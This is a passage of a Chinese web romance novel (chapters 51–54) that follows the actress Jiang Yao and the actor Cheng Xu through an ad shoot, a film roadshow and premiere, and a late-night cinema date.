程绪夹了一筷子青菜放入碗中，告诉齐淮：“应该没问题。”
江遥生无可恋，满桌子的美食瞬间都黯然失色，有消息进来，她偷偷看了眼。转桌的罪魁祸首还有脸说。
C：「感冒不要吃油炸食品。」
江遥不服气，明明都已经好了：「没有感冒。」
程绪没有再回她，低头和周颂不知道在说着什么。她现在满脑子都只想尝尝大鱼大肉，压根没心思留神听他们的讨论。
终于，盘子又转到了她面前。江遥瞅准时机，正准备伸手，没想到，转盘又动了。
如果不是有外人在场，她真的想丢下筷子冲上去跟他干一架。
程绪拿起碗，给周颂盛了碗汤。周颂喜不自胜：“哥，我自己来就好。”
程绪没有理他，转头问江遥，“江老师要来一碗吗？”一手拿着勺子，一手朝前伸着，就这么看着她。
江遥大眼睛里已经燃起了火苗，又不好当众拂了“前辈”面子，将碗递过去，甜甜谢道：“谢谢程老师。”
程绪无所谓道：“不客气。”
江遥是打车来的，饭后齐淮要送，她表示自己在附近还有事要办，一个人先走了。
漫无目的绕过半条街，有车停在她身边。程绪放下车窗，喊她：“上车。”
江遥系好安全带，“你不是很晚才到吗，怎么不多睡会儿。”
“感冒多久了？”
两句话同时出口，车内静了一下，江遥头皮发麻，又来了。
她在小鱼那学乖了，也没了跟他抬杠的心思，一五一十交代，说完再三强调：“真的没事了。”
程绪无声叹了口气，没再多说。
路上，江遥收到一条新的好友请求。
申请栏里简单做了自我介绍，来源是好友推荐。
江遥点击通过，对方马上发来了新消息：「江老师您好，我们在拍摄一部公益广告片，留意到您在《凡尘》中的表现，和我们的需求非常契合，盼复。」
《凡尘》公开的物料里，关于她的镜头，甚至凑不齐一分钟，江遥也不知道这导演是看中的她哪一方面表现。
导演解释：「这组广告片主题是动物保护。」
接下来，对方大肆夸赞了她和动物和谐相处的片段，并发来几个参考视频，表示如果江遥有兴趣，随时可以签约。
于是，江遥还没来得及和程绪好好见一面，又飞往了西城。
出发前，他替她抹掉晕开的口红，低喘着问：“可以跟你视频吗？”
江遥胡乱点头，拿过口罩戴上，飞奔下了车。
51. 西西
西城地处偏僻，粗犷辽阔，有着和A城完全不一样的风景。江遥第一次来这里，切实体验到了天苍苍野茫茫的意境。
和大部队会合后，她需要进行为期一周的训练，学习怎么正确跟动物相处和交流。
导演组租了一个院落，小鱼和她住一间房。工作人员小可领她们到房间，离开前说：“晚点我把老师的联系方式推给您。”
收拾好行李，手机上果然有一条好友请求，江遥没有多看，点击通过。
等了两分钟，对面没有动静。
吃饭的时候，手机震了下，她点开，是一段长长的自我介绍。
「江小姐你好，我是黎云初，今年28岁，身高182CM，毕业于……」
她粗粗扫了眼，履历很不错。虽然早听过现在饲养员的招聘条件也很卷，不过这人是不是太实诚了点，一周教学差点把全家都给她交代了。
对方诚意十足，她也没有怠慢，马上回复：「您好，接下来请多指教[可爱]」
黎云初：「我的荣幸。」
文绉绉的，接下来相处，应该不用太担心。
坐在旁边的小可捕捉到她脸上一丝笑意，问：“江老师在笑什么？”
江遥没有瞒她：“你推荐那老师挺有意思。”
小可一拍脑袋，“不好意思江老师，忘了跟你说，之前约的老师来不了了，我们另外协调到了一位。”
那，刚加的这人是谁？
小可不知道她心底的疑惑，起身出去了一会儿，很快回来跟她说：“新老师马上就到，正好我给你们介绍一下。”
一个少年从门外进来，看得出年龄不大，个子比江遥还要高，身材紧实，肤色偏深，脸上有汗珠还未干透。
他抹了一把额头上的汗，笑着和大家鞠躬问好，说着一口不太标准的普通话，小可给江遥介绍，“老唐昨天出门摔了一跤，带教老师临时换成了他儿子小唐。”担心江遥觉得敷衍，小可说完又给小唐打包票，“他从小和动物打交道，完全能应付的，不用担心。”
小唐拍拍胸脯：“我比老唐靠谱多了，你们赚大了。”一开口，孩子样儿就露了出来。
小唐今年才十六岁，几天下来，江遥已经习惯了这个少年偶尔的张扬和跳脱，但专业能力上，确实没话说。
这天培训结束后，江遥离开训练场，上了小唐的车，目的地是周边的一处高地。小唐说，那是他的秘密基地。
那是一片平坦的空地，这个季节，草木还是枯黄的颜色，左边是连绵的群山，右侧是深不见底的悬崖，天空蓝得要滴出水来，站在边上，能看到远处静立的雪山，在太阳映照下，闪着圣洁的光芒。
大自然的神奇，无法用语言描述，江遥掏出手机，点开拍摄，终于选到一个满意的角度，她稳住双手，将眼前的风景都收入镜头。
视频即将拍摄完毕，小唐正好回头，笑容灿烂地冲江遥招手，“过来看看？”
江遥检查一遍，还好没有照到人。点击发送：「共享好风景。」
杨越拿起文件，带上门离开，程绪点开视频。江遥的脸没有入镜，一把轻柔的嗓音，在镜头后给他解说着看到的风景。
他身子靠向椅背，又重新点开看了一遍。山岭、天空、阳光，无一处不美。她刻意放柔的音调，掺杂着一丝甜腻的味道，将A城阴沉的天空，都晕染上一层亮色。
视频断得突然，他重新拉动进度条，双指放大，有个黑影在镜头前一闪而过。
江遥挪动步子正想往前，手机突然响起，程绪发来的视频邀请。她看了眼屏幕里的自己，整了整头发，戴上耳机，点击接听。
程绪的脸出现在屏幕上，手机不知道是摆在哪里，只看到一个侧脸。
他没有说话，江遥先开口：“怎么啦？”
一阵风吹过，头发又被吹乱，她伸手理了理乱舞的发丝。
程绪突然倾身往前，放大的脸将屏幕填满，就这么直勾勾望着她。
江遥恍惚想起，这好像是他们第一次视频通话。隔着镜头这么看他，她上下审视一遍，该死的，怎么更诱人了。
她瞥开视线，瓮声瓮气地催他，“说话。”
他好像笑了一下，“想听你说。”
江遥怀疑他故意在勾她，直接翻转镜头对着远处：“你自己看吧。”
她移动角度，将视频里的风景又给他来了场现场直播。人影消失，程绪也就失了兴致，身子重新靠回椅背，将手机竖在一旁。
江遥镜头随便乱晃，突然听他出声：“往左一点。”
她听话地将镜头往左移一点。
程绪又说：“再往左。”
江遥又往左一点。
程绪再催，她再移，镜头对着一片枯草地，她说：“现在草还没长起来，听说过几个月会很漂亮。”
小唐看她在视频，特意躲了老远，江遥镜头却追着他跑，他捂着脸冲她喊，“拍我干嘛？”
江遥这才注意到远处入镜的他，移开镜头，看向屏幕。视频里的人不动声色，评价道：“是不错。”
江遥故意问：“什么不错？”
他没有回答，江遥却突然起了谈性，转过镜头对着自己，目光炯炯，“我跟你说，小唐他……”
程绪清咳了声，猛地站起身：“等会还有个会，先挂了。”
他语速很快，江遥还没答话，人已经走出了画面，镜头里只看得到晃动的椅子。
过了会儿，他又说了句：“外面风大，你早点回家。”
说完，直接挂断。
江遥看着他们的聊天界面，给他留言。
摇啊摇：「我觉得你应该改个昵称，CC比较适合你。」
两小时后，程绪回复。
C：「？」
看来还真开会去了。江遥坐在床边，笑着回他：「你打CC首字母出来的是什么？」
C：「出差。」
摇啊摇：「事业心不错，怎么还有时间跟小孩吃醋啊。」
C：「……」
难得看他笑话，江遥又敲去一行：「以后我叫你西西好了，可以吗西西？」
程绪回了个表情包：「西西不嘻嘻.JPG」
江遥倒头哈哈大笑，床板都在跟着抖动。奈何乐极生悲，手机没拿稳，直接砸在了脸上，又开始哎哟哎哟叫唤。
一旁的小鱼手机一扔，跳过来跟她闹做一团：“我要跟你们这些臭情侣拼了！”
江遥使劲推开她，“不笑了不笑了。”
拿起手机，看到程绪的回复，她又开
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始“哈哈哈哈哈”。
小鱼叹气：“你们怎么这么腻歪啊。”
她突然瞪大眼睛，不可置信，“难道他很会讲骚话？”不然就江遥这性子，也不至于这么人来疯啊。
江遥还真认真想了想，在小鱼惊恐的打量里，摇头否定了她的猜测，“他话不多。”
小鱼拍拍胸脯，还好还好，不然她可不敢想。
三月下旬，《凡尘》路演正式启动，每天一个城市，江遥和导演以及男女主几乎每场都到，有时一天几场，则会兵分两路去往不同的高校。
最后保留的镜头，比江遥想象中要多，近两小时的时长，她出场应该有十五分钟左右。齐淮的镜头美学，可能是属于天赋级别，江遥顶着公主的妆造，加上光影的加持，就算是一路追来的老粉，也再次为她的容颜颠倒。
而且不止是容貌，短短十几分钟里，江遥将公主前期的明艳张扬，中间的生无可恋，以及最后挣脱囚笼、重新翱翔于天地间的释然和放松娓娓道来，叙事逻辑和人设都完全立住了。
有新入坑的粉丝追到线下，看完路演，直接表示被锤到了坑底，再也脱不了粉。没看的粉丝到处追问，江遥的表现、戏份等等，迫不及待准备与她在大荧幕相见。
江遥一次次直面观众，听着他们热烈表达着对自己的喜欢和爱意，也有粉丝提出很好的建议，她微笑回应，并将这些当作养料，一一储存。
第一波路演过半，江遥完全感觉不到劳累，每天都期待着和新一波观众见面。但是程绪开始有意见。
开始江遥偶尔会给他发照片，告诉他自己今天到了哪儿，后来一忙，也就忘了这一茬。
某天晚上，收到了某人的视频请求。她卸妆卸到一半，没有打开摄像头，程绪声音闷闷的，“怎么，不想见我？”
江遥已经吃了几次亏，知道他其实演的成分居多，可惜自己不争气，很容易被这样的他拿捏住。
她停下手上动作，打开摄像头，将手机摆在一边，真心建议：“你戏瘾发作可以去进个组。”
程绪声音恢复正常：“你看你都不看我。”
几分钟后，江遥终于将自己收拾好，抽了张洗脸巾擦着脸上的水，偏头看他。
程绪应该是刚洗完澡，坐在沙发上，浴袍松松垮垮，身体微微前倾着跟她说话。V领大开，皮肤很白，露出一副半遮半掩的好身材。头发还没有干透，衬得他整个人温柔无害了许多。
隔着屏幕，江遥的视线巡视过锁骨、胸口……再往下，被衣服挡住。
程绪坐直身子，她遗憾地收回目光，催他去吹头发。
不过几分钟，他又坐回了视频前，“好了。”
江遥看了眼时间，现在已经十点，通时长显示十二分二十五秒，她提议：“要不挂了？”
程绪不同意，“再聊聊。”
江遥顺嘴接道：“聊什么？”
他又不说话了。
江遥受不了跟他这样傻瞪着，于是又开始找话题，问问他的工作，他随口接几句，大部分时候都是她在说自己这些天的事情和接下来的安排，他安静听着，也不知道是不是进了耳朵。
十点二十分，江遥果断撂了电话，“我要睡了，明天得早起。”
程绪又叫住了她。
52. 首映礼
江遥真有点困了，捂着嘴打了个哈欠，懵懵地望着镜头。
程绪一句“我可以过来吗”胎死腹中，“睡吧，晚安。”
随着更广泛的路演铺开，越来越多的自来水涌来，他们毫不吝啬对整个剧组的夸赞，今年清明档电影，《凡尘》热度一骑绝尘。
「在《凡尘》里，江遥饰演的公主不是一个符号化的角色，而是拥有自己主线的一个有血有肉的灵魂。」
「《凡尘》直接跳出女主和女配互相对比拉踩的俗套故事，打造出两位女性间互相扶持、帮助的氛围。」
「看目前看过的人的评价，目测齐淮导演这部电影流量和口碑可以兼得，不容易，恭喜！」
周颂也是这么想的，看到这个消息的时候，激动地拉了个小群，直接@齐淮讨要红包，这种时候，他还不忘带上程绪蹭一个。
周颂：「@齐淮，我赌这部电影肯定火，喝水不忘挖井人，你懂的吧。」
周颂：「使不得.JPG」
齐淮路演结束，才看到周颂的操作，他也不废话，直接发了个红包。若不是去给周颂捧场，确实不一定能碰到江遥，如果她这条线崩盘，最终呈现又不一定有现在的效果。
周颂：「谢谢老板.JPG」
程绪面对突然多出来的群聊很淡定，直接@齐淮问：「你们路演还要多久？」
齐淮：「快了，一星期内结束。」
程绪：「……首映礼见。」
三月三十一日晚上七点，《凡尘》首映礼如期举行，一众主创人员集体亮相，更有程绪、孟棠作为特邀嘉宾出席。收到邀请的媒体纷纷摩拳擦掌，如果运气好，说不定能搞个大新闻。
电影放映，程绪和孟棠分别坐在齐淮两侧，这也是之前辟谣后两人第一次合体露面。江遥和其他主演一起坐在他们身后一排，她的位置正好在程绪侧后方，看着前方两个后脑勺，他们兄妹俩，倒有点如出一辙的冷淡。
女主演比江遥大几岁，是整部戏的核心人物之一，她凑近悄声跟她说：“恭喜，你完成得很棒。”
江遥认真回她：“谢谢，你也是。”
这部戏已经看过无数遍，放映时江遥便有点心不在焉，眼神时不时溜去前排。齐淮偶尔侧头和孟棠低声交谈，程绪却始终端坐，面向大屏幕看得很是认真。
江遥突然有点恍惚，两人上次一起出现在人潮里，应该还是去年的颁奖礼，他受众人簇拥，她却还在为一份资源绞尽脑汁。而现在，两人隔着一排座椅，仿佛伸手可及，可她知道，一旦真的触碰，就会面对背后无数双眼睛的注目或鄙夷。
不知道他看着屏幕，又是在想什么呢。
电影放映结束，灯光亮起，工作人员邀请主创人员上台。主持人先将话题丢给了导演齐淮，齐淮接过话筒，认真跟大家分享了自己的创作初衷。
说到拍摄困难，他大方自嘲：“我知道，很多人私下说我擅长做赔本买卖。”台下一片哄笑，齐淮也笑着向台下看了眼，“其实只是一股不服输的劲儿支撑着我在不断折腾，也庆幸中间遇到许多同路人。”
江遥也跟着笑，顺着齐淮看过去的方向，她怀疑他说的许多人里，程绪应该有一席之地，但程绪双手交握在身前，压根没有什么动作和表情起伏，像是在望着虚空发呆。
大家都望着台下，江遥也就放任自己的视线，停留得久一点。蓦地，他眼睫一掀，漆黑的眼睛，向这边扫来。
江遥默默移开视线，台上的话题又转到了主演们身上，男女主演笑着侃侃而谈，江遥跟着大家一起点头鼓掌。这是别人的主场，她的任务就是充当一个美丽的人形背景板。
直到话题cue到她头上，“江老师在电影里的表现很出彩，那么你印象最深的一场戏是什么呢？”
江遥举着话筒，看向主持人带笑的脸，脑海里突然冒出，那个混乱的片场、躁动的马匹、他平淡无波的眼睛，最后定格在他伸手过来的那一刻。
她思索片刻，状似很难抉择：“其实很难选诶，不过印象最深的应该是那场假死脱身的戏，导演为了追求效果，拍了应该有十遍不止。”
主持人笑道：“这已经是今天第三个人说齐导有强迫症了。”大家笑作一团，齐淮也跟着笑，一点看不出片场的严厉模样。
主持人又说：“相信观众朋友们也对这场戏印象深刻对不对？”
台下齐声答：“对！”
少女一身如火红装，静静躺在血泊里，鲜血一点点浸湿她苍白的脸孔，如瀑的黑发，似一朵盛放到极致的花，猛然从枝头跌落，再也拼不出完整的模样。在大屏幕里，给人极致的视觉震撼。
场下一片沸腾，主持人知道这是搔到了大家的痒点，这部电影最初就是凭着江遥这个角色打出圈，她笑着打趣：“齐导您是真不怕观众给你寄刀片啊。”
齐淮没有接话，直接抖了个幕后故事，“其实关于公主的选角，是最难的部分，最后定下角色的过程也很戏剧化。”他侧头跟江遥确认，“有用半小时吗？”
江遥使劲摇头，“十分钟最多。”
台上台下又是一片嬉笑。
主创全部轮过一遍，很快来到特邀嘉宾上台环节。
程绪出场的时候，要不是知道许多都是受邀媒体，江遥非常怀疑他的粉丝全部混了进来，声音简直快把屋顶掀翻。主持人声音激动：“程老师您好，台下的呼声就是我的心声，很高兴见到您。”
程绪孟棠咖位全场最大，且两人看起来都是一副不好惹的样，主持人激动过后，也就中规中矩地跟着台本走流程，只求不要踩雷出错。
孟棠是电影主题曲的演唱者，主持人问起歌曲的创作灵感，她一句话带过，并没有细说，而至于合作缘由，孟棠直言是“还债”，齐淮当场“求放过”。
程绪话更少，主持人说什么他都能精准地用几个字回复。江遥站在边上，并没有看向舞台中央，台下这么多眼睛，她眼观鼻鼻观心，只偶尔在众人视线都往那边看时，也跟着看过去一眼。
主持人事先做过功课，知道程
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绪向来话少，也不好强拽着他展开讲讲。手卡已经翻过几张，预先准备的问题都已问完，这个环节原定时长却还只走了大半，看来接下来只能临场发挥了。
她看着一侧和齐淮小声说话的孟棠，突然来了灵感，扬声说道：“我们知道《凡尘》拍摄时您去探过班。”
随着主持人的声音响起，大家自然联想起之前他们探班闹出的乌龙，暗暗为她捏一把汗。
程绪孟棠能作为嘉宾公开出席首映礼，毫无避嫌的意思，可见根本就不怕大众猜测，反倒让部分不死心的人放下了嗑糖的心思。而且今天两人基本没怎么互动，看起来也就是正常的同事情谊。
还好，主持人略微停顿后，话题还是落在了程绪一人身上，“那么程老师探班时有什么有趣的片场见闻吗？能不能跟我们分享一下。”
也许意识到节奏太快，程绪终于缓了下来，左手环胸，右手搭在左臂上，认真思考了几秒。
主持人心里一喜，程绪举起话筒，给出了答案：“咖啡馆。”
“那里的咖啡馆让您印象深刻？”
“嗯，那里的咖啡还不错。”
江遥握着话筒的手一紧，手指掐进手心，听他继续说：“剧组的演员也很出色。”
程绪将演员们夸过一轮，主持人深觉难得，借机将剧组又是一通夸。江遥彻底放松下来，看着齐淮当着镜头光明正大给程绪比口型：你们怎么不带上我？
程绪停了停，顺着他的意思补充：“导演也很专业，在用人上尤其出色。”
孟棠插进来拆台：“王导您就别自卖自夸了。”
台下一片哄笑。
“剧组的专业，是大家有目共睹的，相信台下的朋友，应该也有很多话想说……”主持人顺势将话题引入下一个环节，谁也不知道江遥在那短短几分钟里经历了些什么。
晚上十点，首映礼散场，齐淮站在一旁挥手送大家离开。江遥和导演告别，坐上Susie的车。车子远去，齐淮收回手，招呼落在后边的程绪：“去喝一杯？”
程绪径自走了：“还有事。”
齐淮对着孟棠一摊手：“那只剩咱俩了。”
一阵喇叭声传来，孟棠下意识望过去，瞬间变了神色，“我也先走了。”
晚上路况已经好了许多，Susie开车，问坐在后排的江遥：“直接送你回家？”
江遥抠着手机，茫然抬头，过了会儿才反应过来，点头应好。又听Susie说有几个商务在接触，可能需要她去见一下。江遥表示没问题，定好时间通知她就行。
再看手机的时候，备注为西西的人连续发了几条信息。江遥立马回复，三两句话就将对面安抚住。
Susie待了会儿才走，出门前，小鱼悄咪咪凑过来问：“你和程绪那事儿，需要瞒着Susie姐吗？”
“顺其自然吧。”江遥说。
小鱼回头冲她比了个“OK”的手势，快步跟了出去。反正Susie知道了也不会拦着，最多被吓一跳。
53. 看电影
从路演开始，《凡尘》热度一直高居不下。电影上映第一天，许多人踩着最早的时间，迫不及待想一睹为快。
第一批观影的人走出电影院后，这部电影的实时讨论区就被一水的夸赞淹没，许多没有参与路演的朋友，大呼着相见恨晚。江遥作为大男主戏里的女二号，戏份不算太多，但存在感不可谓不强。
汪静静、宴池、曾芜等圈内好友以及《心动大挑战》里搭档过的伙伴们，都在第一天就纷纷给《凡尘》包场，支持她的电影。
有观众说，在这个角色身上，完全可以看出导演的用心和偏爱，而她和男主的最终结局，也让许多人无法释怀。《凡尘》相关的讨论里，江遥这个名字一次次出现。
程绪工作室也发出了包场红包，粉丝纷纷表示“宣传委员上线”、“太讲情义了”、“齐导面子就是大”……
和Susie见完客户后，江遥悄悄上了程绪的车。
晚上十一点，两个武装得密不透风的人踏进电影院。和场场爆满的黄金场相比，此时人流少了许多。
远处靠窗的位置，有对小情侣腻在一起说着悄悄话，女生坐在男生腿上，脑袋伏在肩头望着窗外，一副全然依赖的姿态。进门的第一张桌子，一个满面沧桑的中年男士手指按得飞快，时不时抬头望向大厅外，看脸色，像是被人放鸽子了。
电影还没开始检票，江遥将帽檐往下压低了点，走过去要了两杯可乐。工作人员手上机械地动着，压根没有抬头。程绪跟上，手指在菜单上一点，眼神问她，要不要爆米花。江遥沉思两秒，又要了份小桶的爆米花。抱在手上，看起来分外乖巧。
等他们买好东西过来，那对小情侣已经牵着手进了检票口，中年男士不知所踪。电影开场，两人摸黑进去，找到自己的位置坐下，大屏幕上，正好浮现出两个大字——凡尘。
两人买的是最后排的位置，从坐下来后，程绪很快进入状态，目不转睛地盯着大屏幕。首映礼上他明明已经看过一遍，此时却像是头一次来观影的看客。
江遥本来只当他看电影的邀约仅仅是临时起意支持下自己的新电影，此时她却有点怀疑，是不是这部电影本身，就深得他心。
她对影片里的场景几乎已经能够倒背如流，耐下性子看了几分钟，又有点坐不住，拉下口罩，有一搭没一搭地啃起了爆米花。偶尔侧头看一眼，旁边的人眼睛望着屏幕，一点都没有分心的意思。
她边吃边四下环顾，整个场子只有零星几个人坐着，侧前方位置，椅背上露出两颗毛茸茸的脑袋，一男一女，似乎是一对小情侣，在他们旁边几个位置，有一位女生坐在那里。
电影中男主演已经进入了公主所在的国度，不到一分钟，就是公主第一次出场的镜头。江遥收回乱转的视线，停下手中的动作，看起了大屏幕。
红衣少女骑着马在草原上奔腾，犹如高飞的鹰，不愿落入旁人的掌控。这里导演直接给了一个长镜头，许多看完的人不约而同夸着齐淮的运镜。
江遥抱着爆米花，正想细品，手中的东西突然被抽走，她顺着看过去，旁边一直没有动静的人，右手抱着桶爆米花，眼睛看向前方，还是一脸认真的模样。如果他的手没有覆在她的右手上，可信度可能会更高。
他没说话，江遥也没再理他，掉转头，屏幕上正好在播公主和男主一见钟情的镜头。拍的时候感觉也还好，被后期处理过后，颇有点缠绵悱恻的味道。
她脑海里突然冒出前几天路演发生的一个小插曲，互动环节，有观众神情激动地表示不能接受这对CP的结局，毕竟相遇的时候，男主的“眼睛会拉丝”，相比男女主之间利益为主的合作关系，至少这一对曾有爱意存在过。不管电影里结局如何，她都坚定地站皇帝和公主。
以一个旁观者的角度来看，男主的眼神戏确实诠释得很到位，将少年男主一见钟情的情绪，直白又克制地传递到了镜头前。相比较而言，公主的表演就相对直接，虽然这是剧情和角色需要，但下一次遇到类似的情况，也许可以有更好的诠释。
江遥手撑着脑袋，正在复盘自己在这个场景的表现，程绪突然伸手过来，捻着一颗爆米花，直直送到她嘴边。
她的身子已经完全歪向左侧，两人中间空出一大片空间，不过这点距离，也就是在他手臂一伸的范围里。
江遥侧头看了眼，他的脸被捂在口罩后，身体转向她这边，对上她的视线，手又稍微向前伸了伸，耐心地等她动作。江遥张口，将他手上的东西叼走。刚嚼完，又来了一颗。
他像是对电影突然失去了兴趣，认真投喂起她来，一时之间，耳边只听到她“咔滋咔滋”嚼东西的响声。
江遥挣了挣，想自己接过，右手被他牢牢握住。程绪丝毫没有松手的意思，耐心十足地一颗颗喂着。她的嘴唇偶尔碰到他的手指，他若无其事继续下一个动作，面对这样淡定的表情，就连不好意思都显得多余。于是，一个喂一个吃，早已没人管屏幕里在演什么大戏。
塞了几颗后，江遥摇了摇头，闭着嘴巴不愿意再张口。程绪坐直身子，收回了手，江遥翻出一张湿巾递过去，程绪朝相牵的手抬了抬下巴，意思是他不方便动作。
她也是不懂，明明两个双手健全的人为什么非要弄得跟行动不便似的，但也还是按照他的意思，伸出左手朝他勾了勾，程绪立马将右手伸过来，她捏着湿巾，一根根帮他擦拭干净。
折腾完一通，江遥也无心再看屏幕上的内容，拉上口罩歪着身子靠在他肩膀上开始发呆。前方那对小情侣不知什么时候，已经旁若无人地拥吻起来，动作激烈，完全无视了场内的观众。原本坐在他们旁边的女生，位置上已经没了人。江遥抬头张望，只在前排看到了三两个身影，丝毫不影响小情侣的耳鬓厮磨。
还好，他们位置隔得有点远，旁边的人也没朝那投去视线。不然她很怀疑，会听到点什么不该听到的东西。而且电影院里不是都有监控吗，江遥思绪发散开来，忍不住犯起了替人尴尬的毛病。
她正望着那个方向出神，程绪放大的脸突然出现在了视线中，他贴着她的耳边，低声问：“这么好奇？”
江遥见鬼一般，身子猛地一下弹起，要不是她的手还牵在他手里，估
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计能就地起立。
程绪没想到她这么大反应，身子没来得及撤开，“咚”，清脆的一声，是脑袋和下巴相撞的声音。江遥揉着脑袋侧过脸来，眼里满是嗔怪，程绪拿开她的手，接替她按揉的动作，“痛吗？”
其实并没有多严重，只是声音听起来有点吓人。江遥低着头任他按揉，没有应声，让沉默掩盖掉尴尬的起因。
他的掌心温热，刻意放轻了动作，在脑袋上来回按揉。几分钟后，痛楚完全远去，空旷的电影院中，有什么借着黑暗悄然滋生，江遥低着头，忍不住飞快朝侧前方飞去一眼，又即刻收回，生怕下一刻，围观的观众成了表演者。
她没有说话，他也没有停下动作，他的耐心，永远比她想象得还要多。
“冲啊！”
“跟他们拼了！”
电影演到高潮，铺天盖地的喊杀声，唤回她岌岌可危的理智。江遥做好心理建设，侧头躲过他的手，“好了。”
后半程她眼睛没敢再乱瞄，认真看着大屏幕，心里却在偷偷琢磨，不知道和他刚进场时那认真劲儿相比，谁会更胜一筹？
电影散场后，已经是下半夜。江遥瘫在后排，看街边的路灯兢兢业业发着光，有摊贩支着夜宵摊，精神抖擞地招呼着来往的顾客。
她指着窗外，回头喊他，程绪凑过来，路边的灯光一照，他的下巴处，红红的一片，特别显眼。
“怎么弄的？”江遥脱口而出。他全程戴着口罩，之前根本就没有发现。
程绪没有说话，江遥突然反应了过来，电影院那一撞，可不就是磕到了他下巴。
“不会吧，这么久还红着呐？”她伸手抚上他的下巴，来回摩挲，语气里掺着一点惊讶一点担忧，还有点看热闹的揶揄，“你怎么这么娇气啊。”
程绪拉下她的手：“没事。”
她的目光在他的下巴处来回端详，程绪的皮肤很白，绯红的一片印记，像是漫天的雪地里，飘落的一朵桃花。
汽车驶出一段，前方的街景明显暗了下去，程绪低头在她鼻梁处亲了亲，嗓音染上夜色的浓稠：“困了吗？”
江遥靠着椅背，小幅度摇摇头，也没管他是不是能看清。
很明显，他及时接收到了这个信号，而且很快做出反应。
温热的手掌抚上她的脸颊，车中的挡板无声落下，江遥顺势闭上眼睛，一双柔软的唇贴了上来。她无暇再看路旁的风景，放任自己在清冷的气息中浮沉。
这一场你追我逐的游戏，她越挫越勇，乐此不疲。
窗外的灯火渐次熄灭，唯余几盏路灯守候晚归的人。江遥靠着他的胸口大口喘息，窗外是熟悉的夜色，车子不知何时已经到达了目的地。
她后知后觉出一点羞赧，微拧了下他的手背，“都怪你。”
程绪无声轻笑，抓着她作怪的手，在手背上轻吻一口，低哑着声音附和：“嗯，都怪我。”
他抬手帮她戴好口罩，将一绺贴在嘴边的发丝别到耳后，一丝不苟地理好。放大的脸孔，认真的神色，即使在黑暗里，也有着让人意乱情迷的资本。
54. 知己
女人双眸紧闭，双手无力地攀着男人的手臂，像是水中随波逐流的浮萍，终于找到了停歇的枝干，只愿从此停驻此地。
男人退开少许，她仿佛感知到温暖的离去，摒弃柔弱的外壳，强势反扑。双手如藤蔓般将他紧紧缠绕，禁锢在自己的领地，寸步不得离。
江遥看到自己一往无前地吻上了眼前那张红润的嘴唇，男人轻笑一声，又被她带进了欲望的漩涡中。
“啊……”她及时叫停脑中的回放，在心底无声呐喊，掩着脸实在不敢承认自己那丢脸的行径。就这样，自己是怎么好意思倒打一耙的。
她很怀疑，如果同台竞技，和电影院里那对打得火热的小情侣相比，自己应该也不会输得太彻底。而且她的搭档，肺活量真不是一般人能比的，在一次次试炼里，进步神速。
她被自己的脑补吓到，透过张开的指缝，又看了眼他。
乔女士曾经跟她讨论过择偶标准，并痛心疾首地劝说“脸好看又不能当饭吃，差不多就得了”。她还记得，那时的自己大声反驳，只要心灵契合，颜值并不算什么。
面对眼前这个勾人的妖魅，她感觉到自己的心气生生短了一截。
程绪精准捕获住她的眼神，轻哄着拉开她捂在脸上的双手。江遥闷头扑进他的怀里，找了个舒服的位置靠着。程绪摸了摸她的头发，也没再问什么。
不知过了多久，江遥起身，“我走了。”
“嗯。”他若有若无地应一声，歪头在她眼角轻轻一啄：“上去吧，到了跟我说。”
几分钟后，收到她的消息：「我到了。」
程绪阖上眼睛，吩咐前排的司机：“走吧。”
这之后，她又开启了马不停蹄的路演模式，程绪也忙着自己的事儿，两人只在电话里偶尔联系。
小鱼跟着江遥一起奔赴各大城市，随着电影热度越来越高，她隐隐有种感觉，无论走到哪里，自己都能轻易被善意围绕。她知道，这只是借了江遥的光。不出意外，等电影下映，她的热度毫无疑问会再上一个台阶。
这天，两人刚结束一天行程回到酒店，Susie踩着点打来电话，跟她们同步接下来的工作安排。
虽然去年底江遥的热度已经小有回升，但跟现在一比，之前的工作状态甚至算得上清闲。有些工作邀约Susie已经筛过一遍，具体怎么定，还得看江遥的意思。
小鱼坐在旁边凳子上，接过她取下的发带，嘴里也没闲：“遥遥姐的微博粉丝量增速也很恐怖，大家都说这是要开启事业第二春的节奏。”
江遥笑回：“少给我脸上贴金了，最多算是老树发新芽。”
Susie没有挂电话，沉默地听他们耍完嘴皮子，又交代了小鱼几句。
小鱼在笑声里抬头，用手背擦掉笑出的眼泪，认真记下Susie的嘱咐。还是三个人的队伍，还是熟悉的相处模式，但她已经有了明确的感知，许多东西都在加速转变。
熬过凛冬，一切开始欣欣向荣。
程绪不管到了哪里，都会第一时间给江遥发消息，这腻歪的劲儿，看得小鱼啧啧称奇：“这存在感刷的。”
有时候江遥也会好奇，是不是除了助理，他的行踪都是第一时间汇报到了她这里。
如果杨越知道，一定会按捏着眉心并不存在的皱纹反驳她：“不，您才是第一。”
天知道，碰到一个神出鬼没的老板，他的行程也永远在被打乱。不过现在他好像已经摸到了规律，蹲好江遥工作室的行程，貌似就能隐隐预判老板的行踪。
比如这段时间，江遥每天跟着剧组在热搜榜上挂着，他就知道，自己又该忙起来了。事实证明，男人的预感也可以很准。
江遥并没有跟程绪讨论过这个话题，只是在他持续不断的分享里，也习惯了每到一个地方都同步给他。
小鱼看着前方低头按着手机嘴角上扬的女人，很想抓个人来分享下自己的见闻。然而没办法，她注定只能一个人激动，然后带上房门，留足空间给他们发挥。
“嗡嗡嗡”，手机在耳边持续震动。
江遥闭着眼睛，摸到手机，电话里是小鱼带着试探的声音：“姐，你醒了没？我是不是打扰到你了？”
江遥撑起身子，靠在床头按着酸胀的脑袋：“没事，我睡过头了，你过来吧。”
“行，马上到。”小鱼利索回答。
挂掉电话，手机已经出现电量告急的红色提醒，她插上充电器，点进对话框。和程绪的聊天记录停在凌晨一点零五分，通话时长显示一小时三十七分。
昨晚同事聚餐，大家都已经非常熟络，闹腾到近十点才散。江遥回到酒店才有空摸手机，微信上，程绪陆续发了几条消息，问她是不是还在忙，江遥简单回复：「刚聚完餐。」
也许是被晚上的气氛感染，她的神经异常兴奋，时间已经接近凌晨，江遥在床上直挺挺地躺了十几分钟，却迟迟等不到困意来袭。手机拿起又放下，最后还是找到他的头像：「睡了吗？」
西西：「还没，你快去睡。」
江遥直接拨了个语音电话过去，对面秒接。于是，程绪也只能陪着她熬。
说到最后，她的脑子已经很困，嘴巴却一直没有停，不知道什么时候，才撑不住彻底睡了过去。看时间，他应该是等她睡着后才挂的电话。
静悄悄的夜晚，只能听到彼此的声响，让人的防备心不由自主地弱了下去。她还记得，在程绪问她后面行程时，她不由自主脱口而出：“你选本子最看重什么？”
他几乎没有思索就给出答案，他说是“喜欢。”
